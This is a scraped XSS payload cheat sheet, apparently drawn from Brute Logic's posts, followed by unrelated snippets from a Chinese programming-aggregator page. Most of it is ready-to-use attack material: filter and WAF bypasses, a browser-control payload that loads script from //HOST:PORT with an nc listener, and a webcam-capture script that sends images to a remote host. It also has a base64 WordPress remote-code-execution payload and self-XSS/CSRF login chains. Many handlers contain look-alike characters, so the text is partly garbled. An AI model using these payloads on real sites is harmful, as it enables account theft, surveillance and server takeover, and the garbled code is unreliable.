XSS Cheat Sheet

XSS Cheat Sheet
XSS 101
<h1>Hello,<script>alert(1)</script>!</h1>
1. With <script> tag
<script>alert(1)</script>
2. With regular HTML tags
2.1 Event-based
<TAG EVENT=alert(1)>
<body οnlοad=alert(1)>
<img src=1 οnerrοr=alert(1)>
<svg οnlοad=alert(1)>
<x οnmοuseοver=alert(1)>
2.2 Resource-based
<TAG RESOURCE=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<object data=javascript:alert(1)>
<script>alert(document.domain)</script>
2.1. Steal an user session on the vulnerable website (including admins)
2.2. Capture the keys pressed by the user
2.3. Deface the page, serving any type of content
2.4. Trick the user into giving his/her credentials by means of a fake HTML form
2.5. Crash the browser (local denial of service)
2.6. Force download of files
2.7. Redirect user's browser to another website where his/her machine can be
compromised by memory exploits
data■■■■■■■■
data:[<MIME-type>][;charset=<encoding>][;base64],<data>
<script src="data:text/html;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="></script>
<script src=data:text/html;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ==></script>
<script src=data:text/html;,alert(document.cookie)></script>
<script src=data:text/html,alert(document.cookie)></script>
<script src=data:,alert(document.cookie)></script>
<script src="data:text/html;base64,YWxlcnQoMSk="></script>
<script src=data:text/html;base64,YWxlcnQoMSk=></script>
<script src=data:text/html;,alert(1)></script>
<script src=data:text/html,alert(1)></script>
<script src=data:,alert(1)></script>
<body><svg><x><script>alert(1)</script></x></svg></body>
<svg><x><script>alert(1)</x>
<svg><a><script>alert(1)</a>
XSS Cheat Sheet
HTML Context Tag Injection
<svg οnlοad=alert(1)>
"><svg οnlοad=alert(1)//
HTML Context Inline Injection
"οnmοuseοver=alert(1)//
"autofocus/οnfοcus=alert(1)//
Javascript Context Code Injection
'-alert(1)-'
'-alert(1)//
Javascript Context Code Injection (escaping the escape)
\'-alert(1)//
Javascript Context Tag Injection
</script><svg οnlοad=alert(1)>
PHP_SELF Injection
http://DOMAIN/PAGE.php/"><svg οnlοad=alert(1)>
Without Parenthesis
<svg οnlοad=alert`1`>
<svg οnlοad=alert(1)>
<svg οnlοad=alert(1)>
<svg οnlοad=alert(1)>
Filter Bypass Alert Obfuscation
(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
Body Tag
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
<body οnfοcus=alert(1)>
<body οnhashchange=alert(1)><a href=#x>click this!#x
<body style=overflow:auto;height:1000px οnscrοll=alert(1) id=x>#x
<body οnscrοll=alert(1)><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><x id=x>#x
<body οnresize=alert(1)>press F12!
<body onhelp=alert(1)>press F1! (MSIE)
Miscellaneous Vectors
<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)>
<audio src οnlοadstart=alert(1)>
<video οnlοadstart=alert(1)><source>
<input autofocus οnblur=alert(1)>
<keygen autofocus οnfοcus=alert(1)>
<form οnsubmit=alert(1)><input type=submit>
<select οnchange=alert(1)><option>1<option>2
<menu id=x contextmenu=x οnshοw=alert(1)>right click me!
Agnostic Event Handlers
<x contenteditable οnblur=alert(1)>lose focus!
<x οnclick=alert(1)>click this!
<x οncοpy=alert(1)>copy this!
<x οncοntextmenu=alert(1)>right click this!
<x oncut=alert(1)>copy this!
<x οndblclick=alert(1)>double click this!
<x οndrag=alert(1)>drag this!
<x contenteditable οnfοcus=alert(1)>focus this!
<x contenteditable οninput=alert(1)>input here!
<x contenteditable οnkeydοwn=alert(1)>press any key!
<x contenteditable οnkeypress=alert(1)>press any key!
<x contenteditable οnkeyup=alert(1)>press any key!
<x οnmοusedοwn=alert(1)>click this!
<x οnmοusemοve=alert(1)>hover this!
<x οnmοuseοut=alert(1)>hover this!
<x οnmοuseοver=alert(1)>hover this!
<x οnmοuseup=alert(1)>click this!
<x contenteditable οnpaste=alert(1)>paste here!
Agnostic Event Handlers
<brute contenteditable οnblur=alert(1)>lose focus!
<brute οnclick=alert(1)>click this!
<brute οncοpy=alert(1)>copy this!
<brute οncοntextmenu=alert(1)>right click this!
<brute oncut=alert(1)>copy this!
<brute οndblclick=alert(1)>double click this!
<brute οndrag=alert(1)>drag this!
<brute contenteditable οnfοcus=alert(1)>focus this!
<brute contenteditable οninput=alert(1)>input here!
<brute contenteditable οnkeydοwn=alert(1)>press any key!
<brute contenteditable οnkeypress=alert(1)>press any key!
<brute contenteditable οnkeyup=alert(1)>press any key!
<brute οnmοusedοwn=alert(1)>click this!
<brute οnmοusemοve=alert(1)>hover this!
<brute οnmοuseοut=alert(1)>hover this!
<brute οnmοuseοver=alert(1)>hover this!
<brute οnmοuseup=alert(1)>click this!
<brute contenteditable οnpaste=alert(1)>paste here!
<brute style=font-size:500px οnmοuseοver=alert(1)>0000
<brute style=font-size:500px οnmοuseοver=alert(1)>0001
<brute style=font-size:500px οnmοuseοver=alert(1)>0002
<brute style=font-size:500px οnmοuseοver=alert(1)>0003
Code Reuse Inline Script
<script>alert(1)//
<script>alert(1)<!–
Code Reuse Regular Script
<script src=//brutelogic.com.br/1.js>
<script src=//3334957647/1>
Filter Bypass Generic Tag + Handler
Encoding
<x onxxx=1
<%78 onxxx=1
<x %6Fnxxx=1
<x o%6Exxx=1
<x on%78xx=1
<x onxxx%3D1
Mixed Case
<X onxxx=1
<x OnXxx=1
<X OnXxx=1
Doubling
<x onxxx=1 onxxx=1
Spacers
<x/onxxx=1
<x%09onxxx=1
<x%0Aonxxx=1
<x%0Conxxx=1
<x%0Donxxx=1
<x%2Fonxxx=1
Quotes
<x 1='1'onxxx=1
<x 1="1"onxxx=1
Stripping
<[S]x onx[S]xx=1
[S] = stripped char or string
Mimetism
<x </onxxx=1
<x 1=">" onxxx=1
<http://onxxx%3D1/
Generic Source Breaking
<x onxxx=alert(1) 1='
Source-Breaking Injections
onafterscriptexecute
onbeforescriptexecute
if (brute)
alert("Congratz, buddy!");
else
alert("Almost there, try again.");
Browser Control
<svg οnlοad=setInterval(function(){with(document)body.
appendChild(createElement('script')).src='//HOST:PORT'},0)>
$ while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
Using XSS to Control a Browser
<svg οnlοad=setInterval(function(){d=document;
z=d.createElement("script");z.src="//HOST:PORT";
d.body.appendChild(z)},0)>
setInterval(code, 0)
function(){code}
d=document;
z=d.createElement("script");
z.src="//HOST:PORT";
d.body.appendChild(z)
<svg/οnlοad=setInterval(function(){with(document)body.
appendChild(createElement("script")).src="//HOST:PORT"},0)>
$ while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
Multi Reflection
Double Reflection
Single Input
'οnlοad=alert(1)><svg/1='
Single Input (script-based)
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
Triple Reflection
Single Input
*/alert(1)">'οnlοad="/*<svg/1='
`-alert(1)">'οnlοad="`<svg/1='
Single Input (script-based)
*/</script>'>alert(1)/*<script/1='
Multi Input
Double Input
p=<svg/1='&q='οnlοad=alert(1)>
Triple Input
p=<svg 1='&q='οnlοad='/*&r=*/alert(1)'>
Multi Reflection XSS
<svg οnlοad=write(1)>
p='οnlοad=alert(1)><svg/1='
'οnlοad=alert(1)><svg/1='
… [code] …
'οnlοad=alert(1)><svg/1='
p='>alert(1)</script><script/1='
p=*/alert(1)</script><script>/*
*/alert(1)</script><script>/*
… [code] …
*/alert(1)</script><script>/*
p=*/alert(1)">'οnlοad="/*<svg/1='
p=`-alert(1)">'οnlοad="`<svg/1='
`-alert(1)">'οnlοad="`<svg/1='
… [code] …
`-alert(1)">'οnlοad="`<svg/1='
… [code] …
`-alert(1)">'οnlοad="`<svg/1='
p=*/</script>'>alert(1)/*<script/1='
*/</script>'>alert(1)/*<script/1='
… [code] …
*/</script>'>alert(1)/*<script/1='
… [code] …
*/</script>'>alert(1)/*<script/1='
p=<svg/1='&q='οnlοad=alert(1)>
p=<svg 1='&q='οnlοad='/*&r=*/alert(1)'>
var n = {a: "$p", b: "$p"};
(double reflection, single input $p)
var n = {a: "$p", b: "$q"};
(double reflection, double input $p and $q)
INPUT
p=-alert(1)}//\
RESULT*
var n = {a: "-alert(1)}//\", b: "-alert(1)}//\"};
INPUT
p=\&q=-alert(1)//
RESULT*
var n = {a: "\", b: "-alert(1)}//"};
Without Event Handlers
<script>alert(1)</script>
<script src=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
<a href=javascript:alert(1)>click
<math><brute href=javascript:alert(1)>click
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click>
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=SOURCE>
<isindex formaction=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/οnlοad=alert(1)>>
<svg><script xlink:href=data:,alert(1) />
<math><brute xlink:href=javascript:alert(1)>click
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>
XSS Without Event Handlers
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
1) (no attribute)
<script>alert(1)</script>
2) src
<script src=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)> *
3) href
<a href=javascript:alert(1)>click
<math><brute href=javascript:alert(1)>click *
4) action
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click> *
5) formaction
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=http://brutelogic.com.br/webgun/img/youtube1.jpg>
<isindex formaction=javascript:alert(1) type=submit value=click> *
6) data
<object data=javascript:alert(1)> *
7) srcdoc
<iframe srcdoc=%26lt;svg/o%26%23x6Eload%26equals;alert%26lpar;1)%26gt;>
8) xlink:href
<svg><script xlink:href=data:,alert(1)></script>
<svg><script xlink:href=data:,alert(1) /> *
<math><brute xlink:href=javascript:alert(1)>click *
9) from
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=%26>
Mobile Only
Event Handlers
<html ontouchstart=alert(1)>
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<html ontouchcancel=alert(1)>
<body onorientatiοnchange=alert(1)>
Javascript
Properties
<svg οnlοad=alert(navigator.connection.type)>
<svg οnlοad=alert(navigator.battery.level)>
<svg οnlοad=alert(navigator.battery.dischargingTime)>
<svg οnlοad=alert(navigator.battery.charging)>
Functions
<svg οnlοad=navigator.vibrate(500)>
<svg οnlοad=navigator.vibrate([500,300,100])>
XSS in Mobile Devices
<body onorientatiοnchange=alert(orientation)>
<html ontouchstart=alert(1)>
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<html ontouchcancel=alert(1)>
<svg οnlοad=alert(navigator.connection.type)>
<svg οnlοad=alert(navigator.battery.level)>
<svg οnlοad=alert(navigator.battery.dischargingTime)>
<svg οnlοad=alert(navigator.battery.charging)>
<script>
navigator.geolocation.getCurrentPosition(function(p){
alert('Latitude:'+p.coords.latitude+',Longitude:'+
p.coords.longitude+',Altitude:'+p.coords.altitude);})
</script>
<script>
d=document;
v=d.createElement('video');
c=d.createElement('canvas');
c.width=640;
c.height=480;
navigator.webkitGetUserMedia({'video':true},function(s){
v.src=URL.createObjectURL(s);v.play()},function(){});
c2=c.getContext('2d');
x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL())';
setInterval(x,5000);
</script>
open(c2.canvas.toDataURL())
<svg οnlοad=navigator.vibrate(500)>
<svg οnlοad=navigator.vibrate([500,300,100])>
Generic Self to Regular XSS
<iframe src=LOGOUT_URL οnlοad=forms[0].submit()>
</iframe><form method=post action=LOGIN_URL>
<input name=USERNAME_PARAMETER_NAME value=USERNAME>
<input name=PASSWORD_PARAMETER_NAME value=PASSWORD>
Leveraging Self-XSS
POST to GET
Copy & Paste
XSS + CSRF
<iframe src=LOGOUT_URL οnlοad=forms[0].submit()>
</iframe><form method=post action=LOGIN_URL>
<input name=USERNAME_PARAMETER_NAME value=USERNAME>
<input name=PASSWORD_PARAMETER_NAME value=PASSWORD>
<iframe src=//localhost/self/logout.php
οnlοad=forms[0].submit()></iframe><form method=POST
action=//localhost/self/login.php?returnURL=changemail.php>
<input name=username value=brute>
<input name=password value=logic>
File Upload
Injection in Filename
"><img src=1 οnerrοr=alert(1)>.gif
Injection in Metadata
$ exiftool -Artist='"><img src=1 οnerrοr=alert(1)>' FILENAME.jpeg
Injection with SVG File
<svg xmlns="http://www.w3.org/2000/svg" οnlοad="alert(document.domain)"/>
Injection with GIF File as Source of Script (CSP Bypass)
GIF89a/*<svg/οnlοad=alert(1)>*/=alert(document.domain)//;
File Upload XSS
1) Filename
2) Metadata
$ exiftool -FIELD=XSS FILE
$ exiftool -Artist=' "><img src=1 οnerrοr=alert(document.domain)>' brute.jpeg
3) Content
<svg xmlns="http://www.w3.org/2000/svg" οnlοad="alert(document.domain)"/>
4) Source
GIF89a/*<svg/οnlοad=alert(1)>*/=alert(document.domain)//;
Google Chrome Auditor Bypass (up to v51)
<script src="data:,alert(1)//
"><script src=data:,alert(1)//
<script src="//brutelogic.com.br/1.js#
"><script src=//brutelogic.com.br/1.js#
<link rel=import href="data:text/html,<script>alert(1)</script>
"><link rel=import href=data:text/html,<script>alert(1)</script>
Chrome XSS Bypass
"><script src=data:%26comma;alert(1)-"
<input value="INPUT">
<input value=""><script src=data:%26comma;alert(1)-"">
<script src="URL"></script>
<script type="text/javascript"></script>
PHP File for XHR Remote Call
<?php header("Access-Control-Allow-Origin: *"); ?>
<img src=1 οnerrοr=alert(1)>
CORS Enabled XSS
<?php header("Access-Control-Allow-Origin: *"); ?>
<img src=1 οnerrοr=alert(document.domain)>
#data:text/html,<img src=1 οnerrοr=alert(document.domain)
Server Log Avoidance
<svg οnlοad=eval(URL.slice(-8))>#alert(1)
<svg οnlοad=eval(location.hash.slice(1)>#alert(1)
<svg οnlοad=innerHTML=location.hash>#<script>alert(1)</script>
Avoiding XSS Detection
with(document)body.appendChild(createElement('script')).src='//DOMAIN'
<svg/οnlοad=eval(location.hash.slice(1))>#with(document)
body.appendChild(createElement('script')).src='//DOMAIN'
#with(document)body.appendChild(createElement
(/script/.source)).src=atob(/Ly9icnV0ZWxvZ2ljLmNvbS5ici8y/.source)
<svg/οnlοad=eval(atob(location.hash.slice(1)))>
#d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZW
F0ZUVsZW1lbnQoL3NjcmlwdC8uc291cmNlKSkuc3JjPWF0b
2IoL0x5OWljblYwWld4dloybGpMbU52YlM1aWNpOHkvLnNv
dXJjZSk=
<svg/οnlοad=eval(atob(URL.slice(-148)))>
#d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZW
F0ZUVsZW1lbnQoL3NjcmlwdC8uc291cmNlKSkuc3JjPWF0b
2IoL0x5OWljblYwWld4dloybGpMbU52YlM1aWNpOHkvLnNv
dXJjZSk=
Shortest PoC
<base href=//0>
$ while:; do echo "alert(1)" | nc -lp80; done
Portable Wordpress RCE
<script/src="data:,eval(atob(location.hash.slice(1)))//#
#eD1uZXcgWE1MSHR0cFJlcXVlc3QoKQ0KcD0nL3dwLWFkbWluL3Bsd
Wdpbi1lZGl0b3IucGhwPycNCmY9J2ZpbGU9YWtpc21ldC9pbmRleC5w
aHAnDQp4Lm9wZW4oJ0dFVCcscCtmLDApDQp4LnNlbmQoKQ0KJD0n
X3dwbm9uY2U9JysvY2UiIHZhbHVlPSIoW14iXSo/KSIvLmV4ZWMoeC
5yZXNwb25zZVRleHQpWzFdKycmbmV3Y29udGVudD08Pz1gJF9HRV
RbYnJ1dGVdYDsmYWN0aW9uPXVwZGF0ZSYnK2YNCngub3BlbignUE
9TVCcscCtmLDEpDQp4LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHl
wZScsJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpD
Qp4LnNlbmQoJCk=
http://DOMAIN/WP-ROOT/wp-content/plugins/akismet/index.php?brute=CMD
* In URLs:
& => %26 , # => %23 , + => %2B
<a href=javascript:alert(1)>
Javascript:alert(1)
(URL-encoded form)
Javas%26%2399;ript:alert(1)
<iframe src=javascript:alert(1)>
http(s)://host/page?p=XSS
<object data=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>
<embed src=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>
<iframe src=?p=%26lt;svg/o%256Eload%26equals;alert(1)%26gt;>
"><iframe src="/tests/cors/%23/tests/auditor.php?q1=<img/src=x οnerrοr=alert(1)"
%0aalert(1);/"><script>///
<form action="http://brutelogic.com.br/chall/minified.php" method="POST" enctype="multipart/form-data">
<textarea name=p id=p>"
alert(1)-/><script>///</textarea>
</form>
<script>document.forms[0].submit(); </script>
*//"><script>/*alert(1)//
</input/"><svg><script>alert(1)//
Calling Remote Script With Event Handlers
1 – XHR
"var x=new XMLHttpRequest();x.open('GET','//0');x.send();
x.onreadystatechange=function(){if(this.readyState==4){write(x.responseText)}}"
2 – Fetch
fetch('//0').then(function(r){r.text().then(function(w){write(w)})})
3 – Create Element
with(top)body.appendChild (createElement('script')).src='//0'
4 – jQuery Get
$.get('//0',function(r){write(r)})>
5 – jQuery Get Script
$.getScript('//0')
The Easiest Way to Bypass XSS Mitigations
echo $_GET["p"];
echo str_replace(" ", "", $_GET["q"]);
echo $_GET["p"];
echo str_ireplace("<script", "", $_GET["q"]);
echo str_ireplace("<script","InvalidTag", $_GET["r"]);
echo str_ireplace("<script","<InvalidTag", $_GET["s"]);
XSS Authority Abuse
http://alert(1)@brutelogic.com.br/webgun/test.php?p=<svg+οnlοad=eval(URL.slice(7,15))>
http://javascript:alert(1)@brutelogic.com.br/webgun/test.php?p=<svg+οnlοad=location=URL.slice(7,26)>
Bypassing Javascript Overrides
<svg οnlοad=alert(1)>
<svg οnlοad=document.write('XSS')>
<svg οnlοad=document.writeln(decodeURI(location.hash))>#<img src=1 οnerrοr=alert(1)>
The Shortest Reflected XSS Attack Possible
<script src="INPUT"></script
<script src="//INPUT"></script>
<base href=//0>
Transcending Context-Based Filters
1) among tags
2) inside a tag
3) in a script section
1) preg_replace("/\<script|=/i", "-", $_REQUEST['q']);
2) preg_replace("/on\w+\s*=|\>/i", "-", $_REQUEST['q']);
3) htmlspecialchars($_REQUEST['q'], ENT_QUOTES);
<math><brute href=javascript:alert(1)>
1) <math>
2) " href=javascript:alert(1)
1) <math><!–
2) " href=javascript:alert(1)
<math><!–" href=javascript:alert(1)//
" href=javascript:alert(1) <math><!–
lol video<!–"href=javascript:alert(1) style=font-size:50px;
display:block;color:transparent;
background:url('//brutelogic.com.br/webgun/img/youtube1.jpg');
background-repeat:no-repeat –><math><!–
<svg><!–'-alert(1)-'
'-alert(1)-'<svg><!–
" accesskey=x οnclick=alert(1) 1='
Location Based Payloads – Part IV
Document Properties Scheme
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
previousSibling.nodeValue, document.body.textContent*
location.search, tagName, nodeName, outerHTML
textContent, nextSibling.nodeValue, firstChild.nodeValue, lastChild.nodeValue, innerHTML
location.hash
Location Based Payloads – Part III
– Location
– Location Self
– Location Self Plus
before < [itself [inside]] > after # hash
Before: everything before the tag.
Itself: anything that uses the tag name.
Inside: any attribute inside the tag.
After: everything after the tag until hash.
Hash: everything after the # sign.
1) Location
1.1) Location Itself+After+Hash (tagName+innerHTML+location.hash)
<javascript οnclick=location=tagName%2binnerHTML%2blocation.hash>:/*click me!#*/alert(9)
<javascript οnclick=location=tagName%2binnerHTML%2blocation.hash>:'click me!#'-alert(9)
1.2) Location Itself+Hash (tagName+URL)
<javascript: οnclick=location=tagName%2bURL>click me!#%0Aalert(1)
javascript: + http://domain/page?p=<javascript: οnclick=location=tagName%2bURL>click me!#%0Aalert(1)
<javascript:"-' οnclick=location=tagName%2bURL>click me!#'-alert(1)
javascript:"-' + http://domain/page?p=<javascript:"-' οnclick=location=tagName%2bURL>click me!#'-alert(1)
1.3) Location After+Hash (innerHTML+URL)
<j οnclick=location=innerHTML%2bURL>javascript:"-'click me!</j>#'-alert(1)
javascript:"-'click me! + http://domain/page?p=<j οnclick=location=innerHTML%2bURL>javascript:"-'click me!</j>#'-alert(1)
<j οnclick=location=innerHTML%2bURL>javascript:</j>#%0Aalert(1)
javascript: + http://domain/page?p=<j οnclick=location=innerHTML%2bURL>javascript:</j>#%0Aalert(1)
1.4) Location Itself+After+Hash (tagName+innerHTML+URL)
<javas οnclick=location=tagName%2binnerHTML%2bURL>cript:"-'click me!</javas>#'-alert(1)
javas + cript:"-'click me! + http://domain/page?p=<javas%20οnclick=location=tagName%2binnerHTML%2bURL>cript:"-'click me!</javas>#'-alert(1)
<javas οnclick=location=tagName%2binnerHTML%2bURL>cript:</javas>#%0Aalert(1)
javas + cript: + http://domain/page?p=<javas οnclick=location=tagName%2binnerHTML%2bURL>cript:</javas>#%0Aalert(1)
1.5) Location Itself+Before (tagName+previous.Sibling)
"-alert(1)<javascript:" οnclick=location=tagName%2bpreviousSibling.nodeValue>click me!
javascript:" + "-alert(1)
1.6) Location Itself+After+Before (tagName+innerHTML+previous.Sibling)
"-alert(1)<javas οnclick=location=tagName%2binnerHTML%2bpreviousSibling.nodeValue>cript:"click me!
javas + cript:" + "-alert(1)
1.7) Location After+Itself (innerHTML+outerHTML)
<alert(1)<!– οnclick=location=innerHTML%2bouterHTML>javascript:1/*click me!*/</alert(1)<!–>
javascript:1/*click me!*/ + <alert(1)<!– οnclick=location=innerHTML%2bouterHTML>
<j 1="*/""-alert(1)<!– οnclick=location=innerHTML%2bouterHTML>javascript:/*click me!
javascript:/* + <j 1="*/""-alert(1)<!– οnclick=location=innerHTML%2bouterHTML>
1.8) Location After+Before+Itself (innerHTML+previousSibling+outerHTML)
*/"<j"-alert(1)<!– οnclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!
javascript:/*click me! + */" + <x"-alert(9)<!– οnclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>
*/"<j 1=-alert(9)// οnclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!
javascript:/*click me! + */" + <x 1=" -alert(9)//" οnclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>
1.9) Location After (innerHTML)
<j οnclick=location=innerHTML>javascript%26colon;alert(1)//
javascript:alert(1)//
1.10) Location Inside (name+id)
<iframe id=t:alert(1) name=javascrip οnlοad=location=name%2bid>
javascrip + t:alert(1)
2) Location Self
2.1) Location Self Inside
<svg id=?p=<svg/οnlοad=alert(1)%2B οnlοad=location=id>
http://domain/page?p=<svg/οnlοad=alert(1)+
<svg id=?p=<script/src=//3237054390/1%2B οnlοad=location=id>
http://domain/page?p=<script/src=//3237054390/1+
2.2) Location Self After
<j οnclick=location=textContent>?p=%26lt;svg/οnlοad=alert(1)>
http://domain/page?p=<svg/οnlοad=alert(1)>
3) Location Self Plus
3.1) Location Self Plus Itself
<j%26p=<svg%2Bοnlοad=alert(1) οnclick=location%2B=outerHTML>click me!
http://domain/page?p=<j%26p=<svg%2Bοnlοad=alert(1)%20οnclick=location%2B=outerHTML>click%20me!<j&p=<svg+οnlοad=alert(1) οnclick="location+=outerHTML">
3.2) Location Self Plus After
<j οnclick=location%2B=textContent>%26p=%26lt;svg/οnlοad=alert(1)>
http://domain/page?p=<j%20οnclick=location%2B=textContent>%26p=%26lt;svg/οnlοad=alert(1)>&p=<svg/οnlοad=alert(1)>
3.3) Location Self Plus Before
%26p=%26lt;svg/οnlοad=alert(1)><j οnclick=location%2B=document.body.textContent>click me!
http://domain/page?p=%26p=%26lt;svg/οnlοad=alert(1)><j%20οnclick=location%2B=document.body.textContent>click%20me![BODY_CONTENT]&p=<svg/οnlοad=alert(1)>click me!
Location Based Payloads – Part II
<svg οnlοad=alert(tagName)>
<javascript οnclick=alert(tagName)>click me!
<javascript οnclick=alert(tagName%2Blocation.hash)>click me!#:alert(1)
<javascript: οnclick=alert(tagName%2Blocation.hash)>click me!#alert(1)
<javascript: οnclick=alert(tagName%2BinnerHTML%2Blocation.hash)>/*click me!#*/alert(1)
<javascript: οnclick=location=tagName%2BinnerHTML%2Blocation.hash>/*click me!#*/alert(1)
Result => javascript: + /*click me! + #*/alert(1)
<javascript: οnclick=location=tagName%2BinnerHTML%2Blocation.hash>'click me!#'-alert(1)
Result => javascript: +'click me! + #'-alert(1)
<javascript: οnclick=alert(tagName%2BinnerHTML%2Blocation.hash)>'click me!</javascript:>#'-alert(1)
javascript + :'click me! + #'-alert(1)
javascrip + t:'click me! + #'-alert(1)
javas + cript:'click me! + #'-alert(1)
Location Based Payloads – Part I
<svg/οnlοad=location='javascript:alert(1)'>
<svg/οnlοad=location=location.hash.substr(1)>#javascript:alert(1)
Result => javascript:alert(1)
<svg/οnlοad=location='javas'%2B'cript:'%2B
'ale'%2B'rt'%2Blocation.hash.substr(1)>#(1)
Result => javas + cript: + ale + rt + (1)
<svg/οnlοad=location=/javas/.source%2B/cript:/.source%2B
/ale/.source%2B/rt/.source%2Blocation.hash.substr(1)>#(1)
Result => javas + script: + ale + rt + (1)
<svg/οnlοad=location=/javas/.source%2B/cript:/.source%2B/ale/.source
%2B/rt/.source%2Blocation.hash[1]%2B1%2Blocation.hash[2]>#()
Result => javas + cript: + ale + rt + ( + 1 + )
Filter Bypass Procedure
#XSS vs WAF
1) use <x & jump to event handler
2) use onxxx=yyy & find number of x it accepts
3) test them & change tag accordingly
4) put js
— Brute (@brutelogic) October 10, 2015
<x onxxx=1
Example:
<x onxxx=1 -> pass
<x onxxxx=1 -> pass
<x onxxxxx=1 -> block
Event handlers with up to 6 chars:
oncut, onblur, oncopy, ondrag, ondrop, onhelp, onload, onplay, onshow
1) Encoding
<x onxxx=1
<%78 onxxx=1
<x %6Fnxxx=1
<x o%6Exxx=1
<x on%78xx=1
<x onxxx%3D1
2) Mixed Case
<X onxxx=1
<x ONxxx=1
<x OnXxx=1
<X OnXxx=1
3) Doubling
<x onxxx=1 onxxx=1
4) Spacers
<x/onxxx=1
<x%09onxxx=1
<x%0Aonxxx=1
<x%0Conxxx=1
<x%0Donxxx=1
<x%2Fonxxx=1
5) Quotes
<x 1='1'onxxx=1
<x 1="1"onxxx=1
6) Mimetism
<x </onxxx=1 (mimics a closing tag)
<x 1=">" onxxx=1 (mimics a text outside of the tag)
<http://onxxx%3D1/ (mimics an URL)
7) Combo
<x%2F1=">%22OnXxx%3D1
Existing Code Reuse
<script>alert(1)//
<script>alert(1)<!–
1) Before injection:
<input type="text" value=""><script type="text/javascript"> function x(){ do something }</script>
2) After injection:
<input type="text" value=""><script>alert(1)//"><script type="text/javascript"> function x(){ do something }</script>
<script src=//brutelogic.com.br/1>
<script src=//3334957647/1>
http://brutelogic.com.br/webgun/test.php?p=<script src=//3334957647/1>
http://brutelogic.com.br/webgun/test.php?p=<brute id=test οnmοuseοver=alert(1)>AAAA
http://brutelogic.com.br/webgun/test.php?p=<brute οnmοuseοver=pop(1)>AAAA
XSS Payload Scheme
<tag handler=code>
<b οnclick=alert(1)>click me!
<img src=x οnerrοr=alert(1)>
<frameset><frame src οnlοad=alert(1)>
extra1 <tag extra2 handler=code> extra3
extra1 <tag handler=code extra2> extra3
<svg/οnlοad=alert(1)>
extra1 <tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5> extra3
extra1 <tag spacer1 handler spacer3 = spacer4 code spacer5 extra2> extra3 (without spacer2)
<table><thead%0Cstyle=font-size:700px%0Donmouseover%0A=%0Bconfirm(1)%09><td>AAAAAAAAA

查看全文
如若内容造成侵权/违法违规/事实不符，请联系编程学习网邮箱：809451989@qq.com进行投诉反馈，一经查实，立即删除！

C#的socket:tcp/udp/unix
MS还为我们提供了几个助手类：TcpClient类、TcpListener类、UDPClient类。这几个类简化了一些操作以下是原生c#的原生socket编写上述服务 tcp_socket server using System; using System.Net; using System.Net.Sockets; using System.Text;namespace tcpserver…...
2024/5/5 5:24:09
以抛出异常的思想完成判断三边是否能够构成三角形及求三角形的面积
以抛出异常的思想完成判断三边是否能够构成三角形及求三角形的面积写一个方法void sanj(int a,int b,int c)，判断三个参数是否能构成一个三角形，如果不能则抛出异常NotSanjiaoException，显示异常信息a,b,c"不能构成三角形，如…...
2024/3/23 17:33:40
Tomcat 部署及相关知识
